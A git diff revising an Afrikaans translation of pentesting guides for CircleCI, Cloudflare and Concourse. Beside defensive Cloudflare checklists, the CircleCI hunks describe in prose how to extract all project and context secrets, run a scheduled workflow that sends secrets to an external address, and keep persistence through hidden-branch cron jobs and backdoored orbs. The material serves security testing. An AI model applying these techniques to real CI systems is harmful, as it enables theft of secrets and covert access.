@@ -31,7 +31,7 @@ command: |
SECRET="A secret"
echo $SECRET
```
-U kan hulle in duidelike teks binne die **run environment** verklaar:
+U kan dit in duidelike teks binne die **run environment** verklaar:
```yaml
- run:
name: "set and echo"
@@ -39,7 +39,7 @@ command: echo $SECRET
environment:
SECRET: A secret
```
-U kan hulle in duidelike teks binne die **build-job omgewing** verklaar:
+Jy kan hulle in duidelike teks binne die **build-job omgewing** verklaar:
```yaml
jobs:
build-job:
@@ -48,7 +48,7 @@ docker:
environment:
SECRET: A secret
```
-U kan dit in duidelike teks binne die **omgewing van 'n houer** verklaar:
+Jy kan hulle in duidelike teks binne die **omgewing van 'n houer** verklaar:
```yaml
jobs:
build-job:
@@ -59,7 +59,7 @@ SECRET: A secret
```
#### Projek Geheime
-Dit is **geheime** wat slegs deur die **projek** (deur **enige tak**) **toeganklik** gaan wees.\
+Dit is **geheime** wat slegs **toeganklik** gaan wees deur die **projek** (deur **enige tak**).\
Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\/\/environment-variables_
.png>)
@@ -69,7 +69,7 @@ Jy kan hulle **verklaar in** _https://app.circleci.com/settings/project/github/\
#### Konteks Geheime
-Dit is geheime wat **organisasie wye** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê:
+Dit is geheime wat **organisasie wyd** is. Deur **verstek kan enige repo** **enige geheim** wat hier gestoor is **toegang** hê:
.png>)
@@ -83,14 +83,14 @@ Dit is geheime wat **organisasie wye** is. Deur **verstek kan enige repo** **eni
As jy **toegang het tot die VCS** (soos github) kyk na die lêer `.circleci/config.yml` van **elke repo op elke tak** en **soek** na potensiële **duidelike teks geheime** wat daar gestoor is.
-#### Geheime Omgewing Variabelen & Konteks enumerasie
+#### Geheim Env Vars & Konteks enumerasie
Deur die kode na te gaan kan jy **alle geheime name** vind wat in elke `.circleci/config.yml` lêer **gebruik** word. Jy kan ook die **konteks name** van daardie lêers kry of hulle in die webkonsol nagaan: _https://app.circleci.com/settings/organization/github/\/contexts_.
#### Ekstrakteer Projek geheime
> [!WARNING]
-> Ten einde om **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_).
+> Ten einde **ALLES** van die projek en konteks **GEHEIME** te **ekstrakteer** moet jy **net** **SKRYF** toegang hê tot **net 1 repo** in die hele github organisasie (_en jou rekening moet toegang hê tot die kontekste, maar deur verstek kan almal toegang hê tot elke konteks_).
> [!CAUTION]
> Die "**Import Variabels**" funksionaliteit laat toe om **variabels van ander projekte** na hierdie een te **importeer**. Daarom kan 'n aanvaller **alle projekvariabels van al die repos** **importeer** en dan **almal saam ekstrakteer**.
@@ -114,7 +114,7 @@ exfil-env-workflow:
jobs:
- exfil-env
```
-As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **n werkvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**:
+As jy **nie toegang tot die webkonsol** het nie, maar jy het **toegang tot die repo** en jy weet dat CircleCI gebruik word, kan jy net **'n werksvloei skep** wat **elke minuut geaktiveer word** en wat **die geheime na 'n eksterne adres uitvoer**:
```yaml
version: 2.1
@@ -192,12 +192,12 @@ jobs:
context: Test-Context
```
> [!WARNING]
-> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer nie**. Jy moet dit **as 'n projek in die circleci konsole aktiveer**.
+> Om net 'n nuwe `.circleci/config.yml` in 'n repo te skep **is nie genoeg om 'n circleci bou te aktiveer** nie. Jy moet dit **as 'n projek in die circleci konsole aktiveer**.
#### Ontsnap na die Wolk
-**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie** te laat loop.\
-Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie enigiets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind.
+**CircleCI** gee jou die opsie om **jou boue in hul masjiene of in jou eie te laat loop**.\
+Standaard is hul masjiene geleë in GCP, en jy sal aanvanklik nie iets relevants kan vind nie. As 'n slagoffer egter die take in **hulle eie masjiene (potensieel, in 'n wolk omgewing)** uitvoer, kan jy 'n **wolk metadata eindpunt met interessante inligting daarop** vind.
Let daarop dat in die vorige voorbeelde alles binne 'n docker houer gelanseer is, maar jy kan ook **vra om 'n VM masjien te lanseer** (wat dalk verskillende wolk toestemmings kan hê):
```yaml
@@ -221,15 +221,15 @@ version: 19.03.13
```
#### Volharding
-- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang te verkry tot die API-eindpunte met die gebruikers se toegang.
+- Dit is moontlik om **gebruikertokens in CircleCI** te **skep** om toegang tot die API-eindpunte met die gebruikers se toegang te verkry.
- _https://app.circleci.com/settings/user/tokens_
-- Dit is moontlik om **projektokens** te **skep** om toegang te verkry tot die projek met die toestemmings wat aan die token gegee is.
+- Dit is moontlik om **projektokens** te **skep** om toegang tot die projek met die toestemmings wat aan die token gegee is, te verkry.
- _https://app.circleci.com/settings/project/github/\/\/api_
- Dit is moontlik om **SSH-sleutels** aan die projekte toe te voeg.
- _https://app.circleci.com/settings/project/github/\/\/ssh_
-- Dit is moontlik om 'n **cron-taak in 'n verborge tak** te **skep** in 'n onverwagte projek wat elke dag al die **context env** vars **lek**.
-- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die context en **projeksecrets** sal **lek**.
-- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **achterdeur** konfigureer.
-- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** **injekteer** deur sy waarde te **wysig**.
+- Dit is moontlik om 'n **cron-taak in 'n verborge tak** in 'n onverwagte projek te **skep** wat elke dag al die **context env** vars **lek**.
+- Of selfs in 'n tak te **skep** / 'n bekende taak te **wysig** wat elke dag al die konteks en **projeksecrets** sal **lek**.
+- As jy 'n github-eienaar is, kan jy **ongeverifieerde orbs** **toelaat** en een in 'n taak as **agterdeur** konfigureer.
+- Jy kan 'n **opdraginjektievulnerabiliteit** in sommige take vind en **opdragte** via 'n **geheim** deur sy waarde te **wysig** **injekteer**.
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 2771189de..3c763d6c0 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,12 +1,12 @@
-# Cloudflare Security
+# Cloudflare Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
-In 'n Cloudflare-rekening is daar 'n paar **generale instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:**
+In 'n Cloudflare-rekening is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheid-verwante instellings van elke afdeling analiseer:**
-## Websites
+## Webwerwe
Herbekyk elkeen met:
@@ -14,7 +14,7 @@ Herbekyk elkeen met:
cloudflare-domains.md
{{#endref}}
-### Domein Registrasie
+### Domeinregistrasie
- [ ] In **`Transfer Domains`** kyk dat dit nie moontlik is om enige domein oor te dra nie.
@@ -26,33 +26,33 @@ cloudflare-domains.md
## Analise
-_Ek kon niks vind om 'n konfigurasie veiligheid hersiening te doen nie._
+_Ek kon niks vind om 'n konfigurasie-sekuriteitsherziening te doen nie._
## Bladsye
-Op elke Cloudflare se bladsy:
+Op elke Cloudflare-bladsy:
- [ ] Kyk vir **sensitiewe inligting** in die **`Build log`**.
- [ ] Kyk vir **sensitiewe inligting** in die **Github-repo** wat aan die bladsye toegeken is.
-- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Veiligheid bladsy**](../github-security/).
-- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koppe** in die `_headers` lêer (indien enige).
-- [ ] Kyk vir **kwesbaarhede** in die **web bladsy** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**.
+- [ ] Kyk vir potensiële github repo kompromie via **workflow command injection** of `pull_request_target` kompromie. Meer inligting in die [**Github Sekuriteitsblad**](../github-security/).
+- [ ] Kyk vir **kwesbare funksies** in die `/fuctions` gids (indien enige), kyk die **omleidings** in die `_redirects` lêer (indien enige) en **misgeconfigureerde koptekste** in die `_headers` lêer (indien enige).
+- [ ] Kyk vir **kwesbaarhede** in die **webblad** via **blackbox** of **whitebox** as jy die **kode** kan **toegang**.
- [ ] In die besonderhede van elke bladsy `//pages/view/blocklist/settings/functions`. Kyk vir **sensitiewe inligting** in die **`Environment variables`**.
-- [ ] In die besonderhede bladsy kyk ook die **bou opdrag** en **wortel gids** vir **potensiële inspuitings** om die bladsy te kompromitteer.
+- [ ] In die besonderhede bladsy kyk ook die **bouopdrag** en **wortelgids** vir **potensiële inspuitings** om die bladsy te kompromitteer.
-## **Workers**
+## **Werkers**
-Op elke Cloudflare se werker kyk:
+Op elke Cloudflare-werker kyk:
-- [ ] Die triggers: Wat maak die werker om te trigger? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word?
+- [ ] Die triggers: Wat maak die werker aktiveer? Kan 'n **gebruiker data stuur** wat deur die werker **gebruik** sal word?
- [ ] In die **`Settings`**, kyk vir **`Variables`** wat **sensitiewe inligting** bevat.
- [ ] Kyk die **kode van die werker** en soek vir **kwesbaarhede** (veral in plekke waar die gebruiker die invoer kan bestuur).
- Kyk vir SSRFs wat die aangeduide bladsy teruggee wat jy kan beheer.
-- Kyk vir XSS's wat JS binne 'n svg beeld uitvoer.
+- Kyk XSSs wat JS binne 'n svg beeld uitvoer.
- Dit is moontlik dat die werker met ander interne dienste interaksie het. Byvoorbeeld, 'n werker kan met 'n R2-bucket interaksie hê wat inligting daarin stoor wat van die invoer verkry is. In daardie geval sal dit nodig wees om te kyk watter vermoëns die werker oor die R2-bucket het en hoe dit misbruik kan word vanaf die gebruikersinvoer.
> [!WARNING]
-> Let daarop dat 'n **Werker standaard 'n URL gegee word** soos `..workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet.
+> Let daarop dat 'n **Werker standaard 'n URL** gegee word soos `..workers.dev`. Die gebruiker kan dit op 'n **subdomein** stel, maar jy kan dit altyd met daardie **oorspronklike URL** toegang as jy dit weet.
## R2
@@ -68,10 +68,10 @@ TODO
TODO
-## Veiligheid Sentrum
+## Sekuriteitsentrum
- [ ] As moontlik, voer 'n **`Security Insights`** **skandering** en 'n **`Infrastructure`** **skandering** uit, aangesien dit **interessante inligting** **veiligheid** wys.
-- [ ] Kyk net na **hierdie inligting** vir veiligheid misconfigurasies en interessante inligting.
+- [ ] Kyk net **hierdie inligting** vir sekuriteitsmisconfigurasies en interessante inligting.
## Turnstile
@@ -86,14 +86,14 @@ cloudflare-zero-trust-network.md
## Groot Omleidings
> [!NOTE]
-> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige string vervangings** operasies of gereelde uitdrukkings nie. Dit is egter moontlik om URL omleidingsparameters te konfigureer wat hul URL ooreenkoms gedrag en hul runtime gedrag beïnvloed.
+> Anders as [Dinamiese Omleidings](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Groot Omleidings**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) is essensieel staties — hulle ondersteun **nie enige stringvervangings** operasies of gereelde uitdrukkings nie. Jy kan egter URL-omleidingsparameters konfigureer wat hul URL-ooreenkoms gedrag en hul runtime gedrag beïnvloed.
-- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol is**.
-- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat jy interessante inligting bevat.
+- [ ] Kyk dat die **uitdrukkings** en **vereistes** vir omleidings **sinvol** is.
+- [ ] Kyk ook vir **sensitiewe verborge eindpunte** wat interessante inligting bevat.
## Kennisgewings
-- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir veiligheid:
+- [ ] Kyk die **kennisgewings.** Hierdie kennisgewings word aanbeveel vir sekuriteit:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -118,14 +118,14 @@ cloudflare-zero-trust-network.md
## Bestuur Rekening
-- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuur adres** in **`Billing` -> `Payment info`** te sien.
+- [ ] Dit is moontlik om die **laaste 4 syfers van die kredietkaart**, **verval** tyd en **faktuuradres** in **`Billing` -> `Payment info`** te sien.
- [ ] Dit is moontlik om die **plan tipe** wat in die rekening gebruik word in **`Billing` -> `Subscriptions`** te sien.
-- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, bestaan daar slegs 2 rolle: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg.
-- Daarom, wanneer moontlik, is dit **aanbeveel** om die **Enterprise plan** te gebruik.
+- [ ] In **`Members`** is dit moontlik om al die lede van die rekening en hul **rol** te sien. Let daarop dat as die plan tipe nie Enterprise is nie, slegs 2 rolle bestaan: Administrateur en Super Administrateur. Maar as die gebruikte **plan Enterprise** is, kan [**meer rolle**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) gebruik word om die minste voorregte beginsel te volg.
+- Daarom, wanneer moontlik, word dit **aanbeveel** om die **Enterprise plan** te gebruik.
- [ ] In Lede is dit moontlik om te kyk watter **lede** **2FA geaktiveer** het. **Elke** gebruiker moet dit geaktiveer hê.
> [!NOTE]
-> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of nuwe lede nooi nie**).
+> Let daarop dat gelukkig die rol **`Administrator`** nie toestemming gee om lidmaatskappe te bestuur nie (**kan nie voorregte verhoog of** nuwe lede nooi nie).
## DDoS Ondersoek
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
index 9fe9235b9..ab2e87111 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md
@@ -1,8 +1,8 @@
-# Cloudflare Domains
+# Cloudflare Domeine
{{#include ../../banners/hacktricks-training.md}}
-In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
+In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **generiese instellings en dienste** wat gekonfigureer kan word. Op hierdie bladsy gaan ons die **veiligheidsverwante instellings van elke afdeling analiseer:**
@@ -13,14 +13,14 @@ In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene inste
### Analise
-- [ ] In **`Security`** kyk of daar enige **Tarief beperking** is
+- [ ] In **`Veiligheid`** kyk of daar enige **Tariefbeperking** is
### DNS
- [ ] Kyk na **interessante** (sensitiewe?) data in DNS **rekords**
- [ ] Kyk vir **subdomeine** wat **sensitiewe inligting** kan bevat net gebaseer op die **naam** (soos admin173865324.domin.com)
-- [ ] Kyk vir webbladsye wat **nie** **geproksie** is nie
-- [ ] Kyk vir **geproksie webbladsye** wat direk deur CNAME of IP adres **toeganklik** is
+- [ ] Kyk vir webbladsye wat **nie** **geproksieer** is nie
+- [ ] Kyk vir **geproksieerde webbladsye** wat direk deur CNAME of IP-adres **toeganklik** is
- [ ] Kyk dat **DNSSEC** **geaktiveer** is
- [ ] Kyk dat **CNAME Flattening** in **alle CNAMEs** **gebruik** word
- Dit kan nuttig wees om **subdomein oorneem kwesbaarhede** te **versteek** en laai tyds te verbeter
@@ -30,7 +30,7 @@ In elke TLD wat in Cloudflare gekonfigureer is, is daar 'n paar **algemene inste
TODO
-### Spectrum
+### Spektrum
TODO
@@ -38,7 +38,7 @@ TODO
#### **Oorsig**
-- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teks verkeer** op 'n sekere punt stuur.
+- [ ] Die **SSL/TLS enkripsie** moet **Vol** of **Vol (Streng)** wees. Enige ander sal **duidelike teksverkeer** op 'n sekere punt stuur.
- [ ] Die **SSL/TLS Aanbeveler** moet geaktiveer wees
#### Rand Sertifikate
@@ -52,9 +52,9 @@ TODO
### **Veiligheid**
-- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Firewall** en **tarief beperking reëls gebruik word** om misbruik te voorkom.
+- [ ] In die **`WAF`** afdeling is dit interessant om te kyk dat **Vuurmuur** en **tariefbeperking reëls gebruik word** om misbruik te voorkom.
- Die **`Bypass`** aksie sal **Cloudflare sekuriteit** funksies vir 'n versoek **deaktiveer**. Dit moet nie gebruik word nie.
-- [ ] In die **`Page Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word
+- [ ] In die **`Bladskild`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige bladsy gebruik word
- [ ] In die **`API Shield`** afdeling word dit aanbeveel om te kyk dat dit **geaktiveer** is as enige API in Cloudflare blootgestel word
- [ ] In die **`DDoS`** afdeling word dit aanbeveel om die **DDoS beskermings** te aktiveer
- [ ] In die **`Instellings`** afdeling:
@@ -65,16 +65,16 @@ TODO
#### **CloudFlare DDoS Beskerming**
-- As jy kan, aktiveer **Bot Strijd Modus** of **Super Bot Strijd Modus**. As jy 'n API beskerm wat programmaties toeganklik is (van 'n JS front end bladsy byvoorbeeld). Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie.
-- In **WAF**: Jy kan **tarief beperkings per URL pad** of vir **geverifieerde bots** (Tarief beperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, Koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het.
-- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tarief beperking** by vir bots.
-- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tarief beperking** in hierdie pad by.
-- Jy kan ook **witlys** IP adresse, IP reekse, lande of ASN's van die **Gereedskap** in WAF.
-- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheidsontploffings te voorkom.
+- As jy kan, aktiveer **Bot Strijdmodus** of **Super Bot Strijdmodus**. As jy 'n API beskerm wat programmaties (van 'n JS front-end bladsy byvoorbeeld) toeganklik is. Jy mag dalk nie in staat wees om dit te aktiveer sonder om daardie toegang te breek nie.
+- In **WAF**: Jy kan **tariefbeperkings per URL pad** of vir **geverifieerde bots** (Tariefbeperking reëls) skep, of om **toegang te blokkeer** gebaseer op IP, Koekie, verwysing...). So jy kan versoeke blokkeer wat nie van 'n webblad kom nie of 'n koekie het.
+- As die aanval van 'n **geverifieerde bot** is, voeg ten minste 'n **tariefbeperking** by vir bots.
+- As die aanval op 'n **spesifieke pad** is, voeg as voorkomingsmeganisme 'n **tariefbeperking** in hierdie pad by.
+- Jy kan ook IP-adresse, IP-reekse, lande of ASN's van die **Gereedskap** in WAF **witlys**.
+- Kyk of **Geverifieerde reëls** ook kan help om kwesbaarheid eksploitasiest te voorkom.
- In die **Gereedskap** afdeling kan jy **blokkeer of 'n uitdaging gee aan spesifieke IPs** en **gebruikersagente.**
- In DDoS kan jy **sekere reëls oorskry om hulle meer beperkend te maak**.
- **Instellings**: Stel **Veiligheidsvlak** op **Hoog** en op **Onder Aanval** as jy Onder Aanval is en dat die **Bladsy Integriteit Kontrole geaktiveer** is.
-- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tarief beperking** geaktiveer is
+- In Cloudflare Domeine -> Analise -> Veiligheid -> Kyk of **tariefbeperking** geaktiveer is
- In Cloudflare Domeine -> Veiligheid -> Gebeure -> Kyk vir **gedetekteerde kwaadwillige Gebeure**
### Toegang
@@ -89,11 +89,11 @@ _Ek kon nie enige opsie rakende veiligheid vind nie_
### Caching
-- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeer Gereedskap** te aktiveer
+- [ ] In die **`Konfigurasie`** afdeling oorweeg om die **CSAM Skandeergereedskap** te aktiveer
-### **Workers Routes**
+### **Workers Roetes**
-_Jy moet reeds_ [_cloudflare workers_](./#workers) _gekyk het_
+_Jy behoort reeds_ [_cloudflare workers_](./#workers) _gekyk te het_
### Reëls
@@ -111,7 +111,7 @@ TODO
### Aangepaste Bladsye
-- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tarief beperking of ek is onder aanval modus)
+- [ ] Dit is opsioneel om aangepaste bladsye te konfigureer wanneer 'n fout rakende veiligheid geaktiveer word (soos 'n blok, tariefbeperking of ek is onder aanval modus)
### Apps
@@ -119,7 +119,7 @@ TODO
### Scrape Shield
-- [ ] Kyk of **E-pos Adres Obfuskering** **geaktiveer** is
+- [ ] Kyk of **E-posadres Obfuskerings** **geaktiveer** is
- [ ] Kyk of **Bediener-kant Uitsluitings** **geaktiveer** is
### **Zaraz**
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
index 48d438b91..c5c74554c 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md
@@ -27,8 +27,8 @@ Op elke toepassing:
- [ ] Kontroleer die **beskikbare identiteitsverskaffers** en maak seker hulle **is nie te oop nie**
- [ ] In **`Settings`**:
- [ ] Kontroleer dat **CORS nie geaktiveer is nie** (as dit geaktiveer is, kontroleer dat dit **veilig** is en nie alles toelaat nie)
-- [ ] Koekies moet die **Streng Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is.
-- [ ] Oorweeg om ook **Bladsy-rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**afgeleë blaaier-isolasie hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
+- [ ] Koekies moet die **Strict Same-Site** attribuut hê, **HTTP Only** en **binding cookie** moet **geaktiveer** wees as die toepassing HTTP is.
+- [ ] Oorweeg om ook **Browser rendering** te aktiveer vir beter **beskerming. Meer inligting oor** [**remote browser isolation hier**](https://blog.cloudflare.com/cloudflare-and-remote-browser-isolation/)**.**
#### **Access Groups**
@@ -56,6 +56,6 @@ TODO
- [ ] Kontroleer die **plan tipe**
- [ ] Dit is moontlik om die **kredietkaart eienaar se naam**, **laaste 4 syfers**, **verval** datum en **adres** te sien
-- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat hierdie diens nie regtig gebruik nie
+- [ ] Dit word aanbeveel om 'n **User Seat Expiration** toe te voeg om gebruikers te verwyder wat nie regtig hierdie diens gebruik nie
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/concourse-security/README.md b/src/pentesting-ci-cd/concourse-security/README.md
index 7f4875137..d9d6bafac 100644
--- a/src/pentesting-ci-cd/concourse-security/README.md
+++ b/src/pentesting-ci-cd/concourse-security/README.md
@@ -1,10 +1,10 @@
-# Concourse Security
+# Concourse Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
## Basiese Inligting
-Concourse laat jou toe om **pype** te bou om outomaties toetse, aksies en beelde te loop wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...)
+Concourse laat jou toe om **pypelines** te bou om outomaties toetse, aksies en beelde te bou wanneer jy dit nodig het (tydgebaseerd, wanneer iets gebeur...)
## Concourse Argitektuur
@@ -16,15 +16,15 @@ concourse-architecture.md
## Concourse Laboratorium
-Leer hoe jy 'n concourse omgewing plaaslik kan loop om jou eie toetse te doen in:
+Leer hoe jy 'n concourse omgewing plaaslik kan uitvoer om jou eie toetse te doen in:
{{#ref}}
concourse-lab-creation.md
{{#endref}}
-## Tel & Aanval Concourse
+## Enumereer & Aanval Concourse
-Leer hoe jy die concourse omgewing kan tel en misbruik in:
+Leer hoe jy die concourse omgewing kan enumereer en misbruik in:
{{#ref}}
concourse-enumeration-and-attacks.md
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
index 7c9647434..6a304c95f 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-architecture.md
@@ -1,26 +1,26 @@
-# Concourse-argitektuur
+# Concourse Argitektuur
-## Concourse-argitektuur
+## Concourse Argitektuur
{{#include ../../banners/hacktricks-training.md}}
-[**Relevante data uit Concourse-dokumentasie:**](https://concourse-ci.org/internals.html)
+[**Relevante data uit Concourse dokumentasie:**](https://concourse-ci.org/internals.html)
### Argitektuur
.png>)
-#### ATC: web UI & bou skeduler
+#### ATC: web UI & bou skeduleerder
Die ATC is die hart van Concourse. Dit bestuur die **web UI en API** en is verantwoordelik vir alle pyplyn **skedulering**. Dit **verbind met PostgreSQL**, wat dit gebruik om pyplyn data (insluitend bou logs) te stoor.
-Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die opruimingsmeganisme vir die verwydering van enige onbenutte of verouderde voorwerpe, soos houers en volumes.
+Die [checker](https://concourse-ci.org/checker.html)'s verantwoordelikheid is om voortdurend na nuwe weergawes van hulpbronne te kyk. Die [scheduler](https://concourse-ci.org/scheduler.html) is verantwoordelik vir die skedulering van boue vir 'n werk en die [build tracker](https://concourse-ci.org/build-tracker.html) is verantwoordelik vir die uitvoering van enige geskeduleerde boue. Die [garbage collector](https://concourse-ci.org/garbage-collector.html) is die skoonmaakmeganisme vir die verwydering van enige ongebruikte of verouderde objekte, soos houers en volumes.
#### TSA: werker registrasie & forwarding
-Die TSA is 'n **aangepaste SSH-bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc).
+Die TSA is 'n **aangepaste SSH bediener** wat slegs gebruik word vir die veilige **registrasie** van [**werkers**](https://concourse-ci.org/internals.html#architecture-worker) met die [ATC](https://concourse-ci.org/internals.html#component-atc).
-Die TSA luister **standaard op poort `2222`**, en is gewoonlik saam met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans.
+Die TSA luister **standaard op poort `2222`**, en is gewoonlik saamgeplaas met die [ATC](https://concourse-ci.org/internals.html#component-atc) en sit agter 'n laaibalans.
Die **TSA implementeer CLI oor die SSH-verbinding,** wat [**hierdie opdragte**](https://concourse-ci.org/internals.html#component-tsa) ondersteun.
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
index 38125201d..eed9a6b39 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md
@@ -1,71 +1,71 @@
-# Concourse Enumeration & Attacks
+# Concourse Enumerasie & Aanvalle
-## Concourse Enumeration & Attacks
+## Concourse Enumerasie & Aanvalle
{{#include ../../banners/hacktricks-training.md}}
-### User Roles & Permissions
+### Gebruiker Rolle & Toestemmings
Concourse kom met vyf rolle:
-- _Concourse_ **Admin**: Hierdie rol word slegs aan eienaars van die **hoofspan** (standaard aanvanklike concourse-span) gegee. Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.
+- _Concourse_ **Admin**: Hierdie rol word slegs gegee aan eienaars van die **hoofspan** (standaard aanvanklike concourse span). Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.
- **eienaar**: Span eienaars kan **alles binne die span wysig**.
- **lid**: Span lede kan **lees en skryf** binne die **span se bates** maar kan nie die spaninstellings wysig nie.
-- **pipeline-operator**: Pipeline operators kan **pipeline operasies** uitvoer soos om boue te aktiveer en hulpbronne vas te pen, maar hulle kan nie pipeline konfigurasies opdateer nie.
-- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pipelines.
+- **pyplyn-operateur**: Pyplyn operateurs kan **pyplyn operasies** uitvoer soos om boue te aktiveer en hulpbronne vas te pen, maar hulle kan nie pyplyn konfigurasies opdateer nie.
